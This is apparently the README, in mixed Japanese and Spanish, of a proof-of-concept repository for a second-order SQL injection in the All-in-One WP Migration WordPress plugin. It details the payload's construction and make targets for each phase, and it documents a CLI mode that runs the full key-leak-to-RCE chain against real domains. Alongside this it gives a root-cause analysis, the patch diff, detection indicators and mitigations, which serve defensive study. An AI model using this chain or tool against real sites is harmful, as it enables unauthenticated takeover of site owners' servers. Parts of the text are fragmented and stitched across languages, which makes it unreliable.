
再現可能なDockerベースの概念実証(PoC)です。CVE-2026-19949、All-in-One WP Migration <= 7.109における二次SQLインジェクションを対象とし、匿名REST経由でai1wm_secret_keyを漏洩させ、リモートコード実行へと昇格させます。
WordPress用 All-in-One WP Migration and Backup における未認証の二次SQLインジェクション
これは ai1wm_secret_key の抽出に発展し、それを用いてリモートコード実行(RCE)に到達します。
この文書の言語: English · 日本語
| CVE | CVE-2026-19949 |
| プラグイン | All-in-One WP Migration and Backup (ServMask)、≤ 7.109 |
| パッチ | 7.110(2026年8月20日) |
| CVSS | 8.8(高)— AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H |
| 前提条件 | 管理者がサイトをエクスポートおよびリストアすること(このプラグインでは日常的な操作) |
| 研究者 | Jack Taylor(Wordfenceバグ報奨金プログラム) |
⚠️ 教育および防御目的のみ。 このラボは、Dockerコンテナ内の自分のマシン上で 動作する WordPressサイトを攻撃対象としています。 自分が所有していないシステムや、明示的な許可がないシステムに対しては使用しないでください。
プラグインのエクスポート/インポートフローは、データベースをSQL(.wpress 内の database.sql)にダンプし、
インポート時に Ai1wm_Database::replace_table_values() を使用して各ステートメントを書き換え、
URLとテーブルプレフィックスを置換します。文字列リテラルを特定するために、次の正規表現を使用します:```php
// 7.109 (vulnerable) — class-ai1wm-database.php:1637
preg_replace_callback( "/'(.*?)(?<!\\)'/S", array( $this, 'replace_table_values_callback' ), $input );
問題は *negative lookbehind* `(?<!\\)` にある。**閉じ引用符の候補の直前の1バイトだけ**を調べるだけで、バックスラッシュの完全な*連続*を数えていない。MySQLダンプでは、`\` で終わるデータは `...\\'` のように書き出される——これは**偶数個**のバックスラッシュが先行する閉じ引用符(実際にはバックスラッシュで終わる文字列)だが、regexはそれがエスケープされていると誤認し、**次のリテラルを過剰にキャプチャする**。するとコールバックは過剰キャプチャされた値に対して `unescape_mysql → replace_serialized_values → escape_mysql` を実行し、そのサイクルが引用符/バックスラッシュの不均衡なシーケンスを再出力し、結果のステートメント内で**MySQL文字列の境界を反転させ**、攻撃者のデータを実行可能なSQLへと昇格させる。
## 2. 根本原因: 文字列を反転させるregex
トラックバックが仕掛けられた状態(§4参照)で、`database.sql` 内の行は次のようになる:```sql
INSERT INTO `…_comments` VALUES (2,4,'Jack Blogs\\\\','','/*payload*/…','172.18.0.1',…);
El author termina en \ a nivel de datos → el volcado lo escribe como \\ →
la comilla de cierre queda precedida de un run par. El regex sobre-captura
hasta la comilla de apertura del campo siguiente y el callback re-escapa el
conjunto:```
'Jack Blogs\\',' ← contenido sobre-capturado
unescape → 'Jack Blogs\',' ← strtr colapsa los pares
escape → 'Jack Blogs\\', ← una comilla ESCAPADA nueva ha aparecido
salida → 'Jack Blogs\\','…' ← el par \ , ' voltea el límite de la cadena
そこから先、文の残りはすべてパリティを変更して再トークン化される(文字列だったデータはコードになり、その逆も同様)。パッチ適用済みの7.110正規表現は同じ行を処理し、それを**同一のまま**返す。
何も悪用せずにバイト単位で確認できるのは、`make demo-flip`
(`exploit/04_demo_flip.php`)で、これはプラグイン7.109と7.110の実際のコードを同じダンプ行に対して実行する。
## 3. パッチ(7.109 → 7.110)```diff
- $input = preg_replace_callback( "/'(.*?)(?<!\\\\)'/S", array( $this, 'replace_table_values_callback' ), $input );
+ $input = preg_replace_callback( "/'((?:[^'\\\\]++|\\\\.)*+)'/sS", array( $this, 'replace_table_values_callback' ), $input );
新しいパターンはMySQLリテラルを正しくトークン化する。引用符/バックスラッシュ以外の文字か、\xエスケープペアのいずれかで、所有量指定子を使用する。バックスラッシュのペアが連続しても、もはやリテラルの終了を混乱させることはない。
Wordfenceが公開したチェーン(2026年9月)には4つのステップがある:
wp-trackback.php?p=<id>)。ブログ名(→ comment_author)は\で終わり、URL(→ comment_author_url)はペイロードを運ぶ。WordPressはバックスラッシュに触れずにそれらを保存する。公開された亜種では、最初のトラックバックが時限爆弾として機能する:インポートパスのカットオフ(10秒制限)を強制し、ペイロードが後のパスで実行されるようにする。その時点でインポーターはすでにサイトのai1wm_secret_keyをwp_optionsに復元している(エクスポーターはそれをダンプから除外し、インポーターはパス間でそれを書き換える)。ai1wm_secret_keyを、認証なしでコメントREST APIに表示される承認済みのcommentタイプのコメントにコピーする。admin-ajax.php?action=ai1wm_importは匿名ユーザーにも登録されており(wp_ajax_nopriv_ai1wm_import)、その唯一の障壁はai1wm_verify_secret_key()である。漏洩したキーを使って、攻撃者はmu-pluginを含む独自の.wpressでインポートチェーンを実行する。Ai1wm_Import_Mu_Pluginsステップ(チェーンの優先度270)がそれをwp-content/mu-plugins/に展開する → 次のロードでコード実行。このリポジトリは、単一の植え付けられたトラックバックでチェーンを最初から最後まで検証する(時限爆弾はラボでは不要:行はキーがリセットされた後の後続パスで実行される)。
研究者の正確なエクスプロイトは公開されていない(2026-09-07の徹底検索:GitHub — 既存の2つのリポジトリは空のテンプレートと存在しないエンドポイントを持つ大規模ツール —、Exploit-DB/PacketStorm 0件、Sploitusはそれらの偽リポジトリのみをインデックス、WPScanにPoCなし、フォーラムはニュースのみ;詳細なフォレンジックはresearch/poc-publica/ANALISIS.md)。
我々はそれを独自に導出した、メカニズムの分析に基づいて(exploit/investigacion/)。設計:
\で終わる → 脆弱な正規表現の1バイトのlookbehindが次のリテラルを過剰にキャプチャし、unescape→escapeサイクルが文字列の境界を反転させる。comment_authorと文字列,がオフセットを吸収し、URLの先頭のカンマが食われた構造的セパレータを復元する)。/**/セパレータで提供する:
\'としてダンプに到達し、コード領域では孤立したバックスラッシュを残す(エラー1064)→ そのため16進(0x616931776d… = "ai1wm_secret_key");sanitize_urlはスペースを削除する(そして/で始まらないものすべてにhttp://を前置する)→ そのため/*pwn*/の開始と/**/;comment_author_url)= キーを読み取るサブクエリ → キーは公開フィールドに格納される;11番目 = 0x31('1'、承認済みコメント);13番目 = 0x636f6d6d656e74('comment'、匿名RESTで表示可能);)は正確に15個の値でタプルを閉じ、#(スペースなしのMySQLコメントで、sanitize_urlが尊重する)が元の文の残りを中和する。SERVMASK_PREFIX_optionsを参照する:インポーターは正規表現パスの前にSERVMASK→実プレフィックスを書き換えるため、ペイロードは任意のテーブルプレフィックスを持つサイトで機能する(検証済み)。ターゲット固有の唯一のデータはそのURLで、インポーターのstrposフィルターを発火させるためにexcerptに含まれる(それを含む行のみを書き換える)。結果として得られる文(復元中にMySQLが実行するもの):
comment_author_url = (SELECT option_value FROM <プレフィックス>_options WHERE option_name='ai1wm_secret_key') — 実際のキーは、REST APIが認証なしで公開するフィールドに残る。
| チェーンのステップ | 状態 | 場所 |
|---|---|---|
| 再現可能な脆弱インストール(WP 7.1 + プラグイン 7.109) | ✅ | make lab |
| トラックバック経由の認証なし植え付け(バイト完全一致、自動承認) | ✅ | make plant |
| 管理者のエクスポート;ダンプに植え付けられた行が含まれる | ✅ | make export |
| 根本原因:正規表現 7.109が文字列の境界を反転(7.110は無傷) | ✅ | make demo-flip |
| 管理者の復元:フリップがSQLを書き換え、7.109で行を破損/喪失させる | ✅ | make restore |
| キーの漏洩(独自派生ペイロード)→ 認証なしREST経由の実際のリーク | ✅ | make leak |
| RCE:キーによる認証なしインポート → mu-plugin実行 | ✅ | make rce-auto |
| ネガティブコントロール:7.110では行は無傷で生存、リークなし | ✅ | make control-7110 |
| WP 7.1 / 7.0.4 / 6.9.4 / 6.8.3 マトリックス:全バージョンで完全チェーン ✓ | ✅ | research/test-wp-versions.sh |
| 完全なリモートチェーン(HTTPのみ、実ドメインで有効) | ✅ | python3 cli/poc.py explotar … |
エンドツーエンドで検証された結果:管理者のエクスポート+復元後、実際のai1wm_secret_keyが承認済みコメントのauthor_urlとしてGET /wp-json/wp/v2/commentsに表示される — 認証は一切不要 — そしてそれを使ってRCEフェーズが実行される(mu-pluginが展開・実行され、wp-content/に証拠マーカーが残る)。7.110では行は無傷で生存し(ペイロードは不活性データとして残る)、リークはない。
RCEフェーズはさらに独立して実証される:その唯一の入力はキーであり、手動で渡すことができる(make rce KEY=…)— リーク後の攻撃者の正確な状態。
bash research/test-wp-versions.sh 7.0 6.9 6.8で実行されたマトリックス(バージョンごとに再構築されたラボ、プラグイン 7.109、同一ペイロード):
| WordPress | plant | export | restore | leak | RCE |
|---|---|---|---|---|---|
| 7.1.0 | ✓ | ✓ | ✓ | ✓ | ✓ |
| 7.0.4 | ✓ | ✓ | ✓ | ✓ | ✓ |
| 6.9.4 | ✓ | ✓ | ✓ | ✓ | ✓ |
| 6.8.3 | ✓ | ✓ | ✓ | ✓ | ✓ |
メカニズムはすべてで安定している:sanitize_urlはペイロードを尊重し、wp_commentsは15カラムを保持し、wp-trackback.phpは動作し続ける。ペイロードはテーブルプレフィックスに依存しない(§5参照)。
docker-compose.yml WordPress (php8.2-apache) + MySQL 8; PLUGIN_VERSION y WP_VERSION configurables (7.109 por defecto, 7.110 control) docker/wordpress/Dockerfile imagen del sitio víctima: wp-cli + plugin de WordPress.org setup/init.sh core install, activa el plugin, crea la entrada con pings abiertos, comentarios sin moderación exploit/ ← fases numeradas de la PoC 01_plant_trackback.sh Fase 1 — trackback malicioso (no autenticado) 02_export.sh Fase 2a — export del admin (vía aiowpm_client) 03_restore.sh Fase 2b — restauración del admin + ANTES/DESPUÉS de la fila 04_demo_flip.php Causa raíz byte a byte: regex 7.109 vs 7.110 05_build_wpress.py Construye el .wpress malicioso (package.json + mu-plugin) 06_rce_unauth.py Fase 3 — import no autenticada con la clave → RCE 07_leak_key.sh Fase 3a — lee la clave filtrada de la REST anónima aiowpm_client.py Cliente del protocolo AJAX del plugin (export/import por prioridades, como su JavaScript) wpress.py Lector/escritor del formato .wpress (bloques de 4377 B) mu_plugin.php Mu-plugin BENIGNO (marcadores de evidencia, sin shell) investigacion/ Arneses y fuzzers con los que se DERIVÓ el payload: harness.php (pipeline real del plugin + MySQL de prueba), afinar/test/fuzzers, NOTAS.md del análisis cli/poc.py CLI de demostración: lab / scan / verificar / explotar web/index.html Landing bilingüe del CVE (estilo base de datos de vulnerabilidades; sin dependencias externas) research/ test-wp-versions.sh Matriz de compatibilidad por versión de WordPress poc-publica/ANALISIS.md Refutación forense de las «PoC públicas» falsas Makefile Objetivos: lab, plant, export, restore, demo-flip, leak, rce-auto, full-demo, control-7110, demo-cli… README.md / README.en.md Esta documentación (ES/EN) .gitignore Fuera: informes con claves, .wpress generados, zips y fuentes del plugin (terceros), PoC falsas descargadas
Artefactos que se generan al ejecutar y **no se comparten** (ver `.gitignore`):
`informes/` (contienen claves filtradas), `exploit/malicious.wpress`,
`plugin-src/` (fuentes 7.109/7.110 extraídas para diff), `research/*.zip`
(zips originales de WordPress.org), `research/database.sql`,
`research/backup-legit.wpress` y los ficheros de las PoC falsas analizadas.
## 9. Requisitos y arranque rápido
Requisitos: Docker (con el plugin compose), make, python3 con `requests`, curl.```bash
make full-demo # laboratorio completo de cero: lab → plant → export →
# restore → flip → leak → rce (todo lo anterior de una vez)
期待される出力(要約):``` FASE 1 trackback plantado sin autenticar (error 0, comment_approved=1) FASE 2a export OK → .wpress en ai1wm-backups/ FASE 2b restauración: ANTES hay 2 trackbacks → DESPUÉS solo queda el benigno: la fila con '' final se pierde (INSERT reescrito/corrupto en 7.109) FLIP regex 7.109: 'Jack Blogs\\', → 'Jack Blogs\\',' (límite volteado) regex 7.110: la línea sale IDÉNTICA LEAK ai1wm_secret_key visible en la REST de comentarios sin autenticar RCE import anónima con la clave → /var/www/html/PWNED_CVE_2026_19949.txt + wp-content/mu-plugins/pwned.php + option pwned_cve_2026_19949
アクセス先の被害サイト: <http://localhost:8080> — admin / `admin-password-123`
(公開エントリID 4にはpingとコメントが開かれています)。
## 10. 段階的なフェーズ (makeのターゲット)```bash
make lab # levantar/inicializar el laboratorio (plugin 7.109)
make plant # Fase 1 — plantar el trackback (anónimo)
make export # Fase 2a — exportar como admin
make restore # Fase 2b — restaurar como admin (muestra ANTES/DESPUÉS)
make demo-flip # causa raíz: 7.109 vs 7.110 sobre la misma línea
make leak # Fase 3a — leer la clave filtrada de la REST (anónimo)
make rce KEY=XXXX # Fase 3 — RCE pasando la clave a mano
make rce-auto # Fase 3 — RCE encadenado con la clave filtrada
make control-7110 # control negativo con el plugin parcheado
make lab-7109 # volver al laboratorio vulnerable tras el control
make demo-cli # demo completa vía CLI (+ informe y control negativo)
make scan-cli URL=https://www.ejemplo.com # detección no invasiva
make landing # servir la landing del CVE en http://localhost:8090
make status | logs # estado de contenedores / log de WordPress
make down | clean # parar / parar y borrar volúmenes y artefactos
すべてのモードを備えた単一コマンド。レポートを informes/ に生成します
(テキスト + JSON。このフォルダはキーを含むためリポジトリの外部にあります):```bash
python3 cli/poc.py lab # demo completa en el laboratorio (cadena + control 7.110)
python3 cli/poc.py scan https://www.tudominio.com # detección NO invasiva (versión del plugin)
python3 cli/poc.py verificar https://www.tudominio.com # ¿clave ya filtrada? (REST anónima)
python3 cli/poc.py explotar https://www.tudominio.com --acepto-responsabilidad
--admin-user TU_ADMIN --admin-pass TU_CLAVE --rce # cadena completa en TU dominio
- `lab` はラボを起動し、完全なチェーンとネガティブコントロールを7.110で実行し、レポートを書き出します(`--sin-control` で省略可)。
- `scan` は100%パッシブです。プラグインの公開 `readme.txt` を読み、`wp-trackback.php` とコメント用RESTを確認し、判定を返します。
- `verificar` は、キーが匿名RESTにすでに出現しているかを再確認します(例:植え付けてから数時間後、管理者がバックアップ+リストアを実行した後)。
- `explotar` は侵襲的であり、`--acepto-responsabilidad` とドメインの対話的確認を要求します。トラックバックを植え付け、管理者をシミュレートし(エクスポート → バックアップのダウンロード → 再アップロードとリストア。**HTTPのみ**、あなたが提供する**あなたのサイトの**資格情報を使用)、フィルタリングされたキーを読み取り、`--rce` を使用すると匿名インポート経由で良性のマーカーを残します。管理者資格情報がない場合:植え付けて待機状態になります(`--esperar` でリークを待機、`--post-id` でエントリを選択、`--no-interactivo` でスクリプト用)。
## 12. CVEのランディングページ
脆弱性データベースの美学を持つ静的バイリンガルページ(ES/EN、ヘッダーの切り替え、設定を記憶)で、CVEとペイロードを説明します。概要、チェーン、**ペイロードのセグメントごとの対話的分解**、検証マトリクスと緩和策マトリクスを含みます。```bash
make landing # sirve http://localhost:8090
外部依存関係なし(CDNもサードパーティJSも不要): web/index.html を直接開くか、任意の静的サーバーで動作します。
wp-trackback.php とピンバックを無効化する(ディスカッション/WAFオプション)、可能な場合は匿名ユーザーに対して admin-ajax.php を制限する、そして異常なコンテキスト(例: コメント)での wp-content/mu-plugins/ へのファイル出現と ai1wm_secret_key オプションの出現を監視する。comment_author が \ で終わる、または comment_author_url に SELECT/**/、CONCAT(、長い 0x… リテラル、/*…*/ を含む トラックバック コメント。また、author_url がスキーマなしの12文字の英数字文字列である承認済みコメント。exploit/investigacion/): プラグイン7.109の実際のクラスを読み込み、偽のキーを持つテスト用MySQLに対してパイプラインを実行するハーネス(harness.php)から始めました。ファザー(search_payload.php、fuzz_rows.php、fuzz4.php、bruteforce_author.php)は、トラックバックの4つの制御可能なフィールドに対して重要なアルファベットを探索しました。afinar_payload.php は式の数(N=12)を調整し、test_payload_final.php は完全な設計を検証しました。NOTAS.md には、構造上の壁(wp_comments のINSERTの固定フィールド、インポーターによって課されるsql_mode、サイトURLのstrposフィルター)を含む分析が記録されています。research/poc-publica/ANALISIS.md): それを保有すると主張する2つのGitHubリポジトリは、存在しないエンドポイント(実際の ai1wm/v1 ではなく permission_callback を持つ aio-migration/v1)、誤ったアップロードフィールド(upload_file ではなく file)、.wpress ではなくZIP形式、そして循環論法を使用しています。第三者の情報源で独自のPoCを持っているものはありません。lib/vendor/servmask/database/class-ai1wm-database.php:1637 にあります。抽出されたソースは plugin-src/ にあり、共有されていません)この資料は教育および防御目的で公開されています。脆弱性を理解し、パッチを検証し、検出を構築するためです。このチェーンは独自のDockerラボに対してのみ実行されています。書面による許可なく第三者のシステムを攻撃することは、ほとんどの法域で違法です。影響を受けるサイトを管理している場合: ≥ 7.110 に更新し、ai1wm_secret_key をローテーションし(プラグインを無効化/再有効化するか、オプションを削除して再生成させる)、wp-content/mu-plugins/ と最近のコメントを監査してください。